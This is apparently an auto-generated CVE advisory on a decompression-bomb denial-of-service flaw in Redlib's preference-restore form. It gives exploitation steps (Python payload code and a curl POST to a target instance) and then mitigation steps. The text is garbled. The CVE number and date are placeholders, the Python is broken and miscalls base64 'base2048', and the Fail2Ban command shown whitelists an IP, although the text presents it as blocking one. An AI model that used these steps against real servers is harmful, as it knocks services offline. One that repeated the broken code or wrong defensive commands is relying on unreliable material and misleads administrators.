How the CVE Works:
The vulnerability in Redlib (CVE-2023-XXXXX) allows an attacker to exploit the `restore_preferences` form by submitting a specially crafted base2048-encoded DEFLATE decompression bomb. When the server processes this payload, it decompresses the data without enforcing size limits, leading to excessive memory consumption. This results in out-of-memory (OOM) conditions, system instability, or crashes, effectively causing a denial-of-service (DoS) attack. The vulnerability was introduced in commit `2e95e1fc6e2064ccfae87964b4860bda55eddb9a` and patched in commit 15147cea8e42f6569a11603d661d71122f6a02dc
. Attackers can repeatedly exploit this flaw to keep the target system in a degraded state, impacting all public Redlib instances.
DailyCVE Form:
Platform: Redlib
Version: < v0.36.0
Vulnerability: Decompression Bomb
Severity: Critical
Date: 2023-XX-XX
What Undercode Say:
Exploitation:
1. Crafting Payload:
- Use tools like `zlib` or `DEFLATE` libraries to create a base2048-encoded decompression bomb.
- Example Python code to generate a malicious payload:
import zlib import base64 Create a large dummy data dummy_data = b"A" 1000000 compressed_data = zlib.compress(dummy_data) Encode in base2048 encoded_payload = base64.b64encode(compressed_data) print(encoded_payload)
2. Sending Payload:
- Use `curl` or a script to send the payload to the `restore_preferences` endpoint:
curl -X POST http://target-redlib-instance/settings/encoded-restore -d "preferences=$(cat payload.txt)"
3. Monitoring Impact:
- Observe server logs for memory spikes or crashes.
- Use tools like `htop` or `dmesg` to monitor system resource usage.
Protection:
1. Patch Installation:
- Upgrade to Redlib v0.36.0 or later.
- Apply the patch from commit
15147cea8e42f6569a11603d661d71122f6a02dc
.
2. Request Size Limitation:
- Configure web servers (e.g., Nginx, Apache) to limit request sizes:
http { client_max_body_size 10M; }
3. Endpoint Restriction:
- Disable or restrict access to `/settings/encoded-restore` if not required:
location /settings/encoded-restore { deny all; }
4. Monitoring and Blocking:
- Use tools like Fail2Ban to block IPs sending large or repeated requests:
fail2ban-client set redlib-ban addignoreip 192.168.1.1
5. Log Analysis:
- Regularly monitor logs for unusual activity:
tail -f /var/log/redlib/access.log | grep "/settings/encoded-restore"
6. Resource Limits:
- Set memory limits for the Redlib process using
systemd
:[bash] MemoryMax=512M
By following these steps, administrators can mitigate the risk of exploitation and ensure system stability.
References:
Reported By: https://github.com/advisories/GHSA-g8vq-v3mg-7mrg
Extra Source Hub:
Undercode